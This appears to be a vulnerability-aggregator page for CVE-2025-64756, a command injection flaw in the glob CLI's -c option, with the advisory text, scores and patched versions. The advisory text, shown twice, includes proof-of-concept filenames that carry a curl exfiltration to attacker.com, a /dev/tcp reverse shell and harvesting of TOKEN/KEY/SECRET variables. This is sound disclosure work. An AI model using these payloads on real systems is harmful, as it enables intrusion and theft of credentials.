CVE-2025-64756
glob CLI: Command injection via -c/--cmd executes matches with shell:true
Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
glob CLI: Command injection via -c/--cmd executes matches with shell:true
Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.
- Record
CVE-2025-64756- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2025-197818
7.5
Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.
- Record
EUVD-2025-197818- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5j98-mcp5-4vw2
7.5
glob CLI: Command injection via -c/--cmd executes matches with shell:true
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:
- User runs
glob -c <command> <pattern> - CLI finds files matching the pattern
- Matched filenames are collected into an array
- Command is executed with matched filenames as arguments using
shell: true - Shell interprets metacharacters in filenames as command syntax
- Malicious filenames execute arbitrary commands
Affected Component:
- CLI Only: The vulnerability affects only the command-line interface
- Library Safe: The core glob library API (
glob(),globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
- Files with names containing shell metacharacters:
$(), backticks,;,&,|, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using
glob -con untrusted content
PoC
Setup Malicious File:
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:
- The echo command executes normally
- Additionally: The
$(touch injected_poc)in the filename is evaluated by the shell - A new file
injected_pocis created, proving command execution - Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution:
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
- Malicious PR adds files with crafted names to repository
- CI pipeline uses
glob -cto process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use
glob -cfor file processing - Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems:
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning:
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically…
- Record
GHSA-5j98-mcp5-4vw2- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
7.5
Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.
- Record
CVE-2025-64756- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVALPINE-CVE-2025-64756
7.5
Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.
- Record
ALPINE-CVE-2025-64756- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
OSVBELL-CVE-2025-64756
7.5
- Record
BELL-CVE-2025-64756- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 7 moreShow less
OSV
7.5
glob CLI: Command injection via -c/--cmd executes matches with shell:true
Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.
- Record
CVE-2025-64756- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-5j98-mcp5-4vw2
7.5
glob CLI: Command injection via -c/--cmd executes matches with shell:true
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:
- User runs
glob -c <command> <pattern> - CLI finds files matching the pattern
- Matched filenames are collected into an array
- Command is executed with matched filenames as arguments using
shell: true - Shell interprets metacharacters in filenames as command syntax
- Malicious filenames execute arbitrary commands
Affected Component:
- CLI Only: The vulnerability affects only the command-line interface
- Library Safe: The core glob library API (
glob(),globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
- Files with names containing shell metacharacters:
$(), backticks,;,&,|, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using
glob -con untrusted content
PoC
Setup Malicious File:
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:
- The echo command executes normally
- Additionally: The
$(touch injected_poc)in the filename is evaluated by the shell - A new file
injected_pocis created, proving command execution - Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution:
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
- Malicious PR adds files with crafted names to repository
- CI pipeline uses
glob -cto process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use
glob -cfor file processing - Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems:
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning:
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically…
- Record
GHSA-5j98-mcp5-4vw2- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-64756
7.5
CVE-2025-64756 in glob - Patched by Root
Root has patched CVE-2025-64756 in the glob package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-64756- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1781830588 No score
TuxCare security update for glob (1 CVE)
TuxCare rebuilt glob to address 1 CVE. Fixed in 10.4.5-tuxcare.1.
- Record
CLSA-2026-1781830588- Updated
- 2026-11-02
OSVCLSA-2026-1781830590 No score
TuxCare security update for glob (1 CVE)
TuxCare rebuilt glob to address 1 CVE. Fixed in 10.2.6-tuxcare.1.
- Record
CLSA-2026-1781830590- Updated
- 2026-11-02
OSVCLSA-2026-1794065402 No score
TuxCare security update for glob (2 CVEs)
TuxCare rebuilt glob to address 2 CVEs. Fixed in 10.3.3-tuxcare.1.
- Record
CLSA-2026-1794065402- Updated
- 2026-11-07
OSVopenSUSE-SU-2025:15775-1 No score
opa-1.11.0-1.1 on GA media
These are all security issues fixed in the opa-1.11.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15775-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
globnpm |
11.0.0 up to 11.1.0 | 11.1.0 |
globnpm |
10.2.0 up to 10.5.0 | 10.5.0 |
npmAlpine:v3.22 |
before 11.6.4-r0 | 11.6.4-r0 |
npmAlpaquita:25 |
11.3.0-r0 up to 11.6.4-r0 | 11.6.4-r0 |
npmAlpaquita:stream |
9.5.1-r0 up to 11.6.4-r0 | 11.6.4-r0 |
npmBellSoft Hardened Containers:25 |
11.3.0-r0 up to 11.6.4-r0 | 11.6.4-r0 |
npmBellSoft Hardened Containers:stream |
9.5.1-r0 up to 11.6.4-r0 | 11.6.4-r0 |
globTuxCare:npm |
10.4.5-tuxcare.0 up to 10.4.5-tuxcare.1, plus listed versions 10.4.5 |
10.4.5-tuxcare.1 |
globTuxCare:npm |
10.2.6-tuxcare.0 up to 10.2.6-tuxcare.1, plus listed versions 10.2.6 |
10.2.6-tuxcare.1 |
globTuxCare:npm From an advisory covering 2 CVEs |
10.3.3-tuxcare.0 up to 10.3.3-tuxcare.1, plus listed versions 10.3.3 |
10.3.3-tuxcare.1 |
globRoot:npm |
before 11.0.0-aikido.2 | 11.0.0-aikido.210.3.12-aikido.210.3.10-aikido.211.0.3-aikido.210.4.5-aikido.210.4.2-aikido.210.3.16-aikido.110.4.1-aikido.110.3.3-aikido.110.2.4-aikido.110.4.2-aikido.310.4.5-aikido.310.4.5-aikido.410.4.2-aikido.4 |
@rootio/globRoot:npm |
before 10.4.2-root.io.1 | 10.4.2-root.io.111.0.3-root.io.110.3.10-root.io.111.0.0-root.io.110.4.5-root.io.110.3.12-root.io.111.0.0-root.io.210.3.12-root.io.210.3.10-root.io.211.0.3-root.io.210.4.5-root.io.210.4.2-root.io.210.3.16-root.io.110.4.1-root.io.110.3.3-root.io.110.2.4-root.io.110.4.2-root.io.310.4.5-root.io.310.4.5-root.io.410.4.2-root.io.4 |
opaopenSUSE:Tumbleweed |
before 1.11.0-1.1 | 1.11.0-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases, facts | OSV | |
| affected, aliases, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-64756 is a high vulnerability (CVSS 7.5) in Isaacs Glob, published November 17, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 3.09%, the 87th percentile. Fixed in glob 11.1.0.
References
github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2
github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f
github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146
nvd.nist.gov/vuln/detail/CVE-2025-64756
github.com/advisories/GHSA-5j98-mcp5-4vw2
security.alpinelinux.org/vuln/CVE-2025-64756
Left out here: the rest of 2 source descriptions. The JSON record has them.